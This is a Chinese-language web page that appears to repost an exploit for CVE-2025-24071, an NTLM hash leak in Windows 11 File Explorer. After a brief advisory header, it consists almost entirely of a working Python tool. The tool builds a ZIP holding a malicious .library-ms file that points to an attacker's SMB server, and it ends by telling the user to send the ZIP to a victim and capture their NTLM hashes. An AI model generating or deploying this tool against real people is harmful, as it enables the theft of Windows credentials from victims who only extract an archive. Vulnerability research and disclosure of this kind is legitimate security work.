Windows 11文件管理器NTLM哈希泄露漏洞分析

本文详细分析了Windows 11文件管理器在处理ZIP压缩包中的.library-ms文件时存在的NTLM哈希泄露漏洞,包含完整的Python利用代码和攻击原理说明,涉及SMB认证和信息泄露安全风险。

Windows文件管理器Windows 11(23H2)NTLM哈希泄露

2025.06.20 作者: Mohammed Idrees Banyamer

风险等级:

本地:远程:

CVE: CVE-2025-24071 CWE: N/A

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/env python3
# 漏洞标题:Windows文件管理器Windows 11(23H2)- NTLM哈希泄露
# 漏洞作者:Mohammed Idrees Banyamer
# Twitter/GitHub:https://github.com/mbanyamer
# 日期:2025-05-27
# CVE:CVE-2025-24071
# 厂商:微软
# 受影响版本:Windows 10/11(所有支持.library-ms和SMB的版本)
# 测试环境:Windows 11(23H2)
# 类型:本地/远程(NTLM泄露)
# 平台:Windows
# 漏洞类型:信息泄露
# 描述:
#   Windows资源管理器在从ZIP压缩包中提取.library-ms文件时,会自动发起SMB认证请求。
#   这会导致NTLM凭据(哈希格式)泄露到攻击者控制的远程SMB服务器。
#   除了提取操作外,不需要任何用户交互。

import zipfile
from pathlib import Path
import argparse
import re
import sys
from colorama import Fore, Style

def create_library_ms(ip: str, filename: str, output_dir: Path) -> Path:
    """创建指向攻击者SMB服务器的恶意.library-ms文件"""
    payload = f'''<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\{ip}\\shared</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>'''
    
    output_file = output_dir / f"{filename}.library-ms"
    output_file.write_text(payload, encoding="utf-8")
    return output_file

def build_zip(library_file: Path, output_zip: Path):
    """将.library-ms文件打包到ZIP压缩包中"""
    with zipfile.ZipFile(output_zip, 'w', zipfile.ZIP_DEFLATED) as archive:
        archive.write(library_file, arcname=library_file.name)
    print(f"{Fore.GREEN}[+] 已创建ZIP文件:{output_zip}{Style.RESET_ALL}")

def is_valid_ip(ip: str) -> bool:
    return re.match(r"^\d{1,3}(\.\d{1,3}){3}$", ip) is not None

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-24071 - 通过.library-ms ZIP压缩包进行NTLM哈希泄露",
        epilog="示例:\n  python3 CVE-2025-24071_tool.py -i 192.168.1.100 -n payload1 -o ./output_folder --keep",
        formatter_class=argparse.RawTextHelpFormatter
    )

    parser.add_argument("-i", "--ip", required=True, help="攻击者SMB IP地址(例如:192.168.1.100)")
    parser.add_argument("-n", "--name", default="malicious", help="基础文件名(默认:malicious)")
    parser.add_argument("-o", "--output", default="output", help="输出目录(默认:./output)")
    parser.add_argument("--keep", action="store_true", help="ZIP创建后保留.library-ms文件")

    args = parser.parse_args()

    if not is_valid_ip(args.ip):
        print(f"{Fore.RED}[!] 无效的IP地址:{args.ip}{Style.RESET_ALL}")
        sys.exit(1)

    output_dir = Path(args.output)
    output_dir.mkdir(parents=True, exist_ok=True)

    print(f"{Fore.CYAN}[*] 正在生成恶意.library-ms文件...{Style.RESET_ALL}")
    library_file = create_library_ms(args.ip, args.name, output_dir)
    zip_file = output_dir / f"{args.name}.zip"
    build_zip(library_file, zip_file)

    if not args.keep:
        library_file.unlink()
        print(f"{Fore.YELLOW}[-] 已删除中间.library-ms文件{Style.RESET_ALL}")

    print(f"{Fore.MAGENTA}[!] 完成。将ZIP文件发送给受害者,并在您的SMB服务器上监听NTLM哈希。{Style.RESET_ALL}")

if __name__ == "__main__":
    main()
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计